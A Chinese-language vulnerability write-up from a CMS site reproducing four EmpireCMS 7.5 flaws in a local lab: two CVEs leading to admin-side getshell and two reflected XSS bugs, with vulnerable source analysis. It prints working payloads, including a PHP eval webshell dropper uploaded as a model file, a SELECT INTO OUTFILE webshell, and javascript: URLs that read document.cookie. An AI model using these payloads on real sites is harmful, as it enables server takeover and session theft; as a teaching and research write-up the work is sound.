首页 > 资讯 > 业界 > 帝国CMS（EmpireCMS）v7.5漏洞分析(2022)

帝国CMS（EmpireCMS）v7.5漏洞分析(2022)

ECMSPLUS | 2022-11-01 17:10:17 |

摘要： 帝国CMS（EmpireCMS）v7.5漏洞分析
0x01漏洞描述
0x02漏洞环境
0x03环境搭建
0x04漏洞复现
CVE-2018-18086 后台getshell
...

    帝国cms（EmpireCMS）v7.5漏洞分析GMAECMSPLUS
        0x01漏洞描述GMAECMSPLUS
        0x02漏洞环境GMAECMSPLUS
        0x03环境搭建GMAECMSPLUS
        0x04漏洞复现GMAECMSPLUS
            CVE-2018-18086 后台getshellGMAECMSPLUS
            CVE-2018-19462 代码注入GMAECMSPLUS
            后台xssGMAECMSPLUS
            前台xssGMAECMSPLUS
        0x05参考文章GMAECMSPLUS
 

0x01漏洞描述

本次CVE复现了四个EmpireCMSv7.5的漏洞，在此一并记录下。GMAECMSPLUS

  • CVE-2018-18086 后台getshell
  • CVE-2018-19462 代码注入
  • 后台xss
  • 前台xss

0x02漏洞环境

所需环境EmpireCMS <= 7.5GMAECMSPLUS

本次漏洞复现所用环境为EmpireCMSv7.5GMAECMSPLUS

EmpireCMS环境下载地址：http://www.phome.net/download/GMAECMSPLUS

0x03环境搭建

修改php.ini配置文件, PHP环境中必须开启短标签,不然安装会提示无法安装GMAECMSPLUS

short_open_tag = On

这边复现使用的是wamp，重启wampserverGMAECMSPLUS

wamp默认数据库名称为root，密码空GMAECMSPLUS

安装完毕后，删除/e/install文件夹GMAECMSPLUS

登录admin账号，路径http://localhost/EmpireCMS/e/admin/index.phpGMAECMSPLUS

0x04漏洞复现

CVE-2018-18086 后台getshell

漏洞类型：一句话木马getshellGMAECMSPLUS

漏洞原理：EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。GMAECMSPLUS

1.源码分析GMAECMSPLUS

1.1主要漏洞代码位置GMAECMSPLUS

//导入模型
elseif($enews=="LoadInMod")
{
	$file=$_FILES['file']['tmp_name'];
    $file_name=$_FILES['file']['name'];
    $file_type=$_FILES['file']['type'];
    $file_size=$_FILES['file']['size'];
	LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}

转到LoadInMod定义GMAECMSPLUS

在localhost/EmpireCMS/e/class/moddofun.php找到上传文件的定义。GMAECMSPLUS

//上传文件
	$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
	$cp=@move_uploaded_file($file,$path);
	if(!$cp)
	{
		printerror("EmptyLoadInMod","");
	}
	DoChmodFile($path);
	@include($path);
	UpdateTbDefMod($tid,$tbname,$mid);

1.2文件包含GMAECMSPLUS

上传文件处使用time().makepassword(10)进行加密文件名GMAECMSPLUS

//取得随机数
function make_password($pw_length){
	$low_ascii_bound=48;
	$upper_ascii_bound=122;
	$notuse=array(58,59,60,61,62,63,64,91,92,93,94,95,96);
	while($i<$pw_length)
	{
		if(PHP_VERSION<'4.2.0')
		{
			mt_srand((double)microtime()*1000000);
		}
		mt_srand();
		$randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
		if(!in_array($randnum,$notuse))
		{
			$password1=$password1.chr($randnum);
			$i++;
		}
	}
	return $password1;
}

下方代码@include($path)直接包含文件，因此可以通过添加创建文件的代码绕过。GMAECMSPLUS

2.进入测试GMAECMSPLUS

2.1来到导入系统模型的页面GMAECMSPLUS

image-20201026105219278GMAECMSPLUS

2.2上传一个1.php.mod文件，需要注意$符号需要转义GMAECMSPLUS

<?php file_put_contents("getshell.php","<?php @eval($_POST[LEOGG]); ?>");?>

2.3导入模型成功，看到目录里已经写入shell文件GMAECMSPLUS

image-20201026110341795GMAECMSPLUS

2.4蚁剑连接成功，getshellGMAECMSPLUS

image-20201026110913060GMAECMSPLUS

CVE-2018-19462 代码注入

漏洞类型：恶意sql语句执行GMAECMSPLUS

漏洞原理：EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代码注入漏洞。该漏洞源于外部输入数据构造代码段的过程中,网路系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段,修改网络系统或组件的预期的执行控制流。GMAECMSPLUS

1.源码分析GMAECMSPLUS

1.1主要漏洞代码位置GMAECMSPLUS

执行sql语句处GMAECMSPLUS

image-20201026135817545GMAECMSPLUS

分析源码定位漏洞出现的位置在localhost/EmpireCMS/e/admin/db/DoSql.php，对sqltext进行RepSqlTbpre函数处理GMAECMSPLUS

//运行SQL语句
function ExecSql($id,$userid,$username){
	global $empire,$dbtbpre;
	$id=(int)$id;
	if(empty($id))
	{
		printerror('EmptyExecSqlid','');
	}
	$r=$empire->fetch1("select sqltext from {$dbtbpre}enewssql where id='$id'");
	if(!$r['sqltext'])
	{
		printerror('EmptyExecSqlid','');
    }
	$query=RepSqlTbpre($r['sqltext']);
	DoRunQuery($query);
	//操作日志
	insert_dolog("query=".$query);
	printerror("DoExecSqlSuccess","ListSql.php".hReturnEcmsHashStrHref2(1));
}

1.2转到定义RepSqlTbpre，发现只对表的前缀做了替换GMAECMSPLUS

//替换表前缀
function RepSqlTbpre($sql){
	global $dbtbpre;
	$sql=str_replace('[!db.pre!]',$dbtbpre,$sql);
	return $sql;
}

1.3转到定义DoRunQuery，对$query进行处理。GMAECMSPLUS

对$sql参数只做了去除空格、以;分隔然后遍历,没有做别的限制和过滤,导致可以执行恶意的sql语句GMAECMSPLUS

//运行SQL
function DoRunQuery($sql){
	global $empire;
	$sql=str_replace("
","
",$sql);
	$ret=array();
	$num=0;
	foreach(explode(";
",trim($sql)) as $query)
	{
		$queries=explode("
",trim($query));
		foreach($queries as $query)
		{
			$ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
		}
		$num++;
	}
	unset($sql);
	foreach($ret as $query)
	{
		$query=trim($query);
		if($query)
		{
			$empire->query($query);
		}
	}
}

2.payloadGMAECMSPLUS

2.1用select ... into outfile语句写入php一句话木马GMAECMSPLUS

select '<?php @eval($_POST[LEOGG])?>' into outfile 'E:/Wamp2.5/wamp/www/EmpireCMS/getshell.php'

image-20201026143543445GMAECMSPLUS

语句执行成功，在目录里看到生成的马GMAECMSPLUS

image-20201026142630646GMAECMSPLUS

2.2蚁剑连接GMAECMSPLUS

连接成功，getshellGMAECMSPLUS

image-20201026142954165GMAECMSPLUS

后台xss

漏洞类型：反射型xssGMAECMSPLUS

漏洞文件：localhost/EmpireCMS/e/admin/openpage/AdminPage.phpGMAECMSPLUS

漏洞原理：该漏洞是由于代码只使用htmlspecialchars进行实体编码过滤,而且参数用的是ENT_QUOTES(编码双引号和单引号),还有addslashes函数处理,但是没有对任何恶意关键字进行过滤,从而导致攻击者使用别的关键字进行攻击GMAECMSPLUS

1.源码分析GMAECMSPLUS

1.1主要漏洞代码位置localhost/EmpireCMS/e/admin/openpage/AdminPage.phpGMAECMSPLUS

$leftfile=hRepPostStr($_GET['leftfile'],1);
$mainfile=hRepPostStr($_GET['mainfile'],1);

1.2利用hRepPostStr函数进行过滤，跳转到该函数的定义如下GMAECMSPLUS

function hRepPostStr($val,$ecms=0,$phck=0){
	if($phck==1)
	{
		CkPostStrCharYh($val);
	}
	if($ecms==1)
	{
		$val=ehtmlspecialchars($val,ENT_QUOTES);
	}
	CkPostStrChar($val);
	$val=AddAddsData($val);
	return $val;
}

1.3用ehtmlspecialchars函数进行HTML实体编码过滤，其中ENT_QUOTES - 编码双引号和单引号。GMAECMSPLUS

function ehtmlspecialchars($val,$flags=ENT_COMPAT){
	global $ecms_config;
	if(PHP_VERSION>='5.4.0')
	{
		if($ecms_config['sets']['pagechar']=='utf-8')
		{
			$char='UTF-8';
		}
		else
		{
			$char='ISO-8859-1';
		}
		$val=htmlspecialchars($val,$flags,$char);
	}
	else
	{
		$val=htmlspecialchars($val,$flags);
	}
	return $val;
}

主要利用htmlspecialchars函数把字符转换为HTML实体GMAECMSPLUS

1.4用CkPostStrChar函数对参数进行处理GMAECMSPLUS

function CkPostStrChar($val){
	if(substr($val,-1)=="\")
	{
		exit();
	}
}

获取字符末端第一个开始的字符串为\，则退出函数。GMAECMSPLUS

1.5用AddAddsData函数对参数进行处理GMAECMSPLUS

function AddAddsData($data){
	if(!MAGIC_QUOTES_GPC)
	{
		$data=addslashes($data);
	}
	return $data;
}

如果没有开启MAGIC_QUOTES_GPC，则利用addslashes函数进行转义GMAECMSPLUS

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。GMAECMSPLUS

1.6网页输出GMAECMSPLUS

然而输出的位置是在iframe标签的src里，这意味着之前的过滤都没有什么卵用。iframe标签可以执行js代码，因此可以利用javascript:alert(/xss/)触发xssGMAECMSPLUS

GMAECMSPLUS

2.payloadGMAECMSPLUS

payload如下：GMAECMSPLUS

http://localhost/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_Cczns=2TWoQiIHxxoEzHD0rZ24&mainfile=javascript:alert(/xss/)

其中ehash是随机生成的，在登录时可以看到ehash_Cczns=2TWoQiIHxxoEzHD0rZ24，如果缺少这个hash值，则会提示非法来源GMAECMSPLUS

触发xssGMAECMSPLUS

GMAECMSPLUS

获取cookie信息payloadGMAECMSPLUS

http://localhost/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_Cczns=2TWoQiIHxxoEzHD0rZ24&mainfile=javascript:alert(document.cookie)

GMAECMSPLUS

前台xss

漏洞类型：反射型xssGMAECMSPLUS

漏洞文件：localhost/EmpireCMS/e/ViewImg/index.htmlGMAECMSPLUS

漏洞原理：url地址经过Request函数处理之后,把url地址中的参数和值部分直接拼接当作a标签的href属性的值和img标签的src标签的值GMAECMSPLUS

1.主要漏洞代码位置localhost/upload/e/ViewImg/index.htmlGMAECMSPLUS

if(Request("url")!=0){
	document.write("<a title="点击观看完整的图片..." href=""+Request("url")+"" target="_blank"><img src=""+Request("url")+"" border=0 class="picborder" onmousewheel="return bbimg(this)" onload="if(this.width>screen.width-500)this.style.width=screen.width-500;">");
    }

通过Request函数获取地址栏的url参数,并作为img和a标签的src属性和href属性,然后经过document.write输出到页面。GMAECMSPLUS

2.转到request函数定义GMAECMSPLUS

function Request(sName)
{

  /*
   get last loc. of ?
   right: find first loc. of sName
   +2
   retrieve value before next &
  
  */
  
  var sURL = new String(window.location);
  var iQMark= sURL.lastIndexOf('?');
  var iLensName=sName.length;
  
  //retrieve loc. of sName
  var iStart = sURL.indexOf('?' + sName +'=') //limitation 1
  if (iStart==-1)
        {//not found at start
        iStart = sURL.indexOf('&' + sName +'=')//limitation 1
		if (iStart==-1)
		   {//not found at end
		    return 0; //not found
		   }   
        }
        
  iStart = iStart + + iLensName + 2;
  var iTemp= sURL.indexOf('&',iStart); //next pair start
  if (iTemp ==-1)
		{//EOF
		iTemp=sURL.length;
		}  
  return sURL.slice(iStart,iTemp ) ;
  sURL=null;//destroy String
}

通过window.location获取当前url地址,根据传入的url参数,获取当前参数的起始位置和结束位置GMAECMSPLUS

3.payloadGMAECMSPLUS

url地址经过Request函数处理之后,然后把url地址中的参数和值部分直接拼接当作a标签的href属性的值和img标签的src标签的值GMAECMSPLUS

payload如下：GMAECMSPLUS

http://localhost/upload/e/ViewImg/index.html?url=javascript:alert(document.cookie)

payload解析：GMAECMSPLUS

当浏览器载入一个Javascript URL时，它会执行URL中所包含的Javascript代码，并且使用最后一个Javascript语句或表达式的值，转换为一个字符串，作为新载入的文档的内容显示。GMAECMSPLUS

javascript:伪协议可以和HTML属性一起使用，该属性的值也应该是一个URL。一个超链接的href属性就满足这种条件。当用户点击一个这样的链接，指定的Javascript代码就会执行。在这种情况下，Javascript URL本质上是一个onclick事件句柄的替代。GMAECMSPLUS

点击图片触发xssGMAECMSPLUS

GMAECMSPLUS

GMAECMSPLUS

得到cookie信息GMAECMSPLUS

GMAECMSPLUS
GMAECMSPLUS
本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。GMAECMSPLUS

免责/版权声明：

1、所有来源标注为 ECMSPLUS /zwcms.com的内容版权均为本站所有，若您需要引用、转载，只需要注明来源及原文链接即可，如涉及大面积转载，请来信告知，获取授权。

2、本站所提供的文章资讯、软件资源、素材源码等内容均为作者提供、网友推荐、互联网整理而来（部分报媒/平媒内容转载自网络合作媒体），仅供学习参考，如有侵犯您的版权，请联系我们，本站将在三个工作日内改正。

3、若您的网站或机构从本站获取的一切资源进行商业使用，除来源为本站的资料需与本站协商外，其他资源请自行联系版权所有人。

4、 ECMSPLUS /zwcms.com不保证资源的准确性、安全性和完整性，请您在阅读、下载及使用过程中自行确认，本站亦不承担上述资源对您或您的网站造成的任何形式的损失或伤害

5、未经 ECMSPLUS /zwcms.com允许，不得盗链、盗用本站资源；不得复制或仿造本网站，不得在非 ECMSPLUS /zwcms.com所属的服务器上建立镜像， ECMSPLUS /zwcms.com对其自行开发的或和他人共同开发的所有内容、技术手段和服务拥有全部知识产权，任何人不得侵害或破坏，也不得擅自使用。

6、互联网的本质是自由与分享，我们真诚的希望，每一份有价值的正能量能够在互联网中自由传播，能够为每一个网站提供动力。

标签：
精品源码
  • 二维码种子溯源系统,一物一码防伪验证查询(单用户版) 支持定制开发

    惊爆价¥1500.00

    立即购买
    二维码种子溯源系统,一物一码防伪验证查询(单用户版) 支持定制开发
  • 帝国cms7.5精仿企业信息综合门户《莞商网》(原创)

    惊爆价¥1500.00

    立即购买
    帝国cms7.5精仿企业信息综合门户《莞商网》(原创)
  • 厂房网,厂房出租,厂房出售,仓库出租,园区招商商铺厂房网整站源码

    惊爆价¥1999.00

    立即购买
    厂房网,厂房出租,厂房出售,仓库出租,园区招商商铺厂房网整站源码
看点推荐
精选文章

站长交流群

互联网站长技术交流群
共同学习，共同进步，共同成长！

QQ交流群

推荐文章

EmpireCMS(帝国CMS) 最新版(v7.5)已知漏洞汇总

帝国第三方登陆：微信内部登陆+扫码登陆2.0安装说明与使用方法

帝国cms百度Webupload批量上传组件，支持前台投稿

帝国cms通过用灵动标签的SQL语句查询来调用栏目导航

帝国cms图片集字段morepic分割，自定义图片集显示

帝国cms 技巧整理笔记，持续更新中

帝国cms 技巧整理笔记：常用变量，COOKIE获取和系统模板

最新文章

pbootcms一页放两个分页--每页放两个分页，pbootCMS全新版本发布
pbootcms上传产品--使用pbootcms上传产品示范
pbootcms火车头发布模块--火车头发布模块：构建高效的内容发布系统
pbootcms批量添加产品--pbootcms批量添加产品-快速、高效、省时省力的产品管理
pbootcms如何生成静态页面--如何利用pbootcms生成静态页面
pbootcms配置面包屑导航--实现pbootcms的面包屑导航配置
pbootcmsphpstudy--PHPStudy对pbootCMS的部署与配置
pbootcms系统--打造完美网站，选择pbootcms系统
pbootcms找回管理员密码--找回pbootcms管理员密码
云优cms网站建设--云优CMS网站建设：打造高效、灵活、专业的网站

热门标签

APP CMS DEDE APP CMS DEDE APP CMS DEDE

关注我们

微信扫一扫，关注更多精彩

  • 公众号
    全面掌握源码一手资讯

  • 服务号
    精彩活动，推送提醒

垂询热线：18680688182

商务合作：0769-8700 9090
文章投稿：

3 会员总数
3200 免费资源
35670 下载总数
396 模板资源
396 源码资源
28 教程资源
396 插件资源
396 运营资源
396 工具资源
运行天数
专注服务于原创模板
资深建站客服专家
一对一专属售后指导
5000+用户诚意推荐
热门模板
下载上传 模板
企业网站模板
商城网店模板
新闻门户模板
游戏动漫模板
更多模板
插件分类
ECShop插件
BaoCMS插件
帝国CMS插件
ShopNC插件
Wordpress插件
更多插件
精选源码
游戏动漫源码
电脑网络源码
影视音乐源码
休闲娱乐源码
文学小说源码
更多源码
优选教程
pbootcms教程
云优cms教程
Ecshop教程
帝国CMS教程
DedeCMS教程
更多教程
友情链接
大湾区招商
莞商网

客服QQ

ECMSPLUS订阅号

© 2016- 东莞市河马信息技术有限公司 版权所有，并保留所有权利   

备案号:粤ICP备2023002959号 ｜ ｜ 代理域名注册服务机构：成都西维数码科技有限公司 ｜ 服务器服代理：成都西维数码科技有限公司